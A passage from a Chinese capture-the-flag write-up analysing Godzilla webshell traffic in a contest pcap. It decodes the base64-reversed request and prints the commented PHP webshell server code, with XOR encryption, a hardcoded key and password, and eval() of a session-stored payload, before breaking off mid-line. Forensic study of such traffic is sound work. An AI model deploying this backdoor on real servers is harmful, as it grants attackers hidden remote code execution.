当前位置: 首页 > article >正文

2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析

2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析

一、流量分析

题目没有任何提示,附件gzl.pcap
在这里插入图片描述

解题哥斯拉流量300多KB包很多,没啥经验只能挨个看回来之后又狠狠得撸了一把哥斯拉流量分析我这里用的是哥斯拉4.0.1

在这里插入图片描述
在这里插入图片描述

测试链接这里发了两个包,我们进行分析

1、第一个请求包

哥斯拉将payload进行了base64编码,并且将编码后的内容做了字符串反转,我们echo进行还原
在这里插入图片描述

<?php
// 安全增强设置
@session_start();             // 启动会话存储(用于保存Payload)
@set_time_limit(0);           // 取消脚本执行时间限制
@error_reporting(0);          // 禁用错误报告(避免泄露信息)/*** 核心加密/解密函数(使用XOR算法)* @param string $D 待处理数据* @param string $K 16字节密钥* @return string 处理后的数据*/
function encode($D, $K) {for ($i = 0; $i < strlen($D); $i++) {$c = $K[$i + 1 & 15];  // 循环使用密钥字符(i+1 mod 16)$D[$i] = $D[$i] ^ $c;  // 逐字节异或操作}return $D;
}// 配置参数
$pass = 'thisiskey';          // 通信密码(POST参数名)
$payloadName = 'payload';     // 会话中存储的Payload名称
$key = '144a6b2296333602';   // 16字节异或密钥(与客户端一致)// 主逻辑:处理客户端请求
if (isset($_POST[$pass])) {// 1. 解码客户端发送的数据$data = encode(base64_decode($_POST[$pass]), $key);// 2. 检查是否已加载Payloadif (isset($_SESSION[$payloadName])) {// 2.1 获取已存储的Payload并解密$payload = encode($_SESSION[$payloadName], $key);// 2.2 特殊处理:如果不是初始Payload(包含getBasicsInfo),需要二次解密if (strpos($payload, "getBasicsInfo") === false) {$payload = encode($payload, $key);}// 2.3 执行Payload(通常是PHP后门核心代码)eval($payload);// 2.4 生成响应包:前缀+加密结果+后缀echo substr(md5($pass.$key), 0, 16);           // 前缀:MD5前16字节echo base64_encode(encode(@run($data), $key)); // 加密响应数据echo substr(md5($pass.$key
http://www.lryc.cn/news/2394250.html

相关文章:

  • Django ToDoWeb 服务
  • 【软件】在 macOS 上安装 Postman
  • 各种数据库,行式、列式、文档型、KV、时序、向量、图究竟怎么选?
  • 全志科技携飞凌嵌入式T527核心板亮相OpenHarmony开发者大会
  • AI+微信小程序:智能客服、个性化推荐等场景的落地实践
  • 事件驱动架构入门
  • 基于Web的濒危野生动物保护信息管理系统设计(源码+定制+开发)濒危野生动物监测与保护平台开发 面向公众参与的野生动物保护与预警信息系统
  • 索引的选择与Change Buffer
  • leetcode hot100刷题日记——30.两数之和
  • Fastapi 学习使用
  • Ollama:本地大模型推理与应用的创新平台
  • rtpinsertsound:语音注入攻击!全参数详细教程!Kali Linux教程!
  • django项目开启debug页面操作有数据操作记录
  • 【Vim】高效编辑技巧全解析
  • 基于 Node.js 的 Express 服务是什么?
  • 【C++】入门基础知识(1.5w字详解)
  • Excel数据脱敏利器:自动保留格式的智能脱敏脚本
  • Photoshop2025(PS2025)软件及安装教程
  • AI赋能开源:如何借助MCP快速解锁开源项目并提交你的首个PR
  • 计算机视觉---GT(ground truth)
  • SQL进阶之旅 Day 9:高级索引策略
  • R 语言科研绘图第 52 期 --- 网络图-分组
  • 姜老师的MBTI课程:MBTI是可以转变的
  • Django【应用 02】第一个Django应用开发流程图
  • 湖北理元理律师事务所:用科学规划重塑债务人生
  • 《江西棒球资讯》棒球运动发展·棒球1号位
  • 华为OD机试_2025 B卷_静态扫描(Python,100分)(附详细解题思路)
  • python打卡训练营打卡记录day41
  • GD32F103系列工程模版创建记录
  • PH热榜 | 2025-05-24